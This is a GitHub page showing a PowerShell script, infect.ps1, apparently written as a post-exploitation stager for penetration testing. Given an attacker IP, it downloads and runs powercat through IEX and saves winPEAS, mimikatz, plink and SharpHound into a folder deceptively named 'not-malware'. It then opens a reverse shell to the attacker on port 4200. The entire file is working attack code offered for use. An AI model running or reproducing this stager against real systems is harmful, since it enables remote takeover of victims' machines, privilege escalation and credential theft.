-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinfect.ps1
71 lines (61 loc) · 1.94 KB
/
infect.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function infect
{
# first check the system info
param(
[alias('attackip')][string]$rhost=""
)
$type = systeminfo | findstr /c:'System Type'
# make the directory for our tools
mkdir not-malware
# grab the arch
$type = $type.substring(28,2)
if ($type -eq "64"){
# download the x64 versions
if ($rhost){
# powercat
$url = 'http://' + $rhost + '/powercat.ps1'
IEX (new-object system.net.webclient).downloadstring($url)
# winpeas
$url = 'http://' + $rhost + '/windows-privesc/winPEAS.bat'
invoke-webrequest -uri $url -outfile '.\not-malware\winpeas.bat'
# mimikatz
$url = 'http://' + $rhost + '/mimikatz/x64/mimikatz.exe'
invoke-webrequest -uri $url -outfile '.\not-malware\mimikatz.exe'
# plink
$url = 'http://' + $rhost + '/tunneling/plink64.exe'
invoke-webrequest -uri $url -outfile '.\not-malware\plink.exe'
# sharphound
$url = 'http://' + $rhost + '/BloodHound/Collectors/SharpHound.exe'
invoke-webrequest -uri $url -outfile '.\not-malware\sharphound.exe'
# rev shell
powercat -c $rhost -p 4200 -e cmd
}
else {
Write-Output 'error: no ip given'
}
}
if ($type -eq "86"){
if ($rhost){
# powercat
$url = 'http://' + $rhost + '/powercat.ps1'
IEX (new-object system.net.webclient).downloadstring($url)
# winpeas
$url = 'http://' + $rhost + '/windows-privesc/winPEAS.bat'
invoke-webrequest -uri $url -outfile '.\not-malware\winpeas.bat'
# mimikatz
$url = 'http://' + $rhost + '/mimikatz/Win32/mimikatz.exe'
invoke-webrequest -uri $url -outfile '.\not-malware\mimikatz.exe'
# plink
$url = 'http://' + $rhost + '/tunneling/plink32.exe'
invoke-webrequest -uri $url -outfile '.\not-malware\plink.exe'
# sharphound
$url = 'http://' + $rhost + '/BloodHound/Collectors/SharpHound.exe'
invoke-webrequest -uri $url -outfile '.\not-malware\sharphound.exe'
# rev shell
powercat -c $rhost -p 4200 -e cmd
}
else {
Write-Output 'error: no ip given'
}
}
}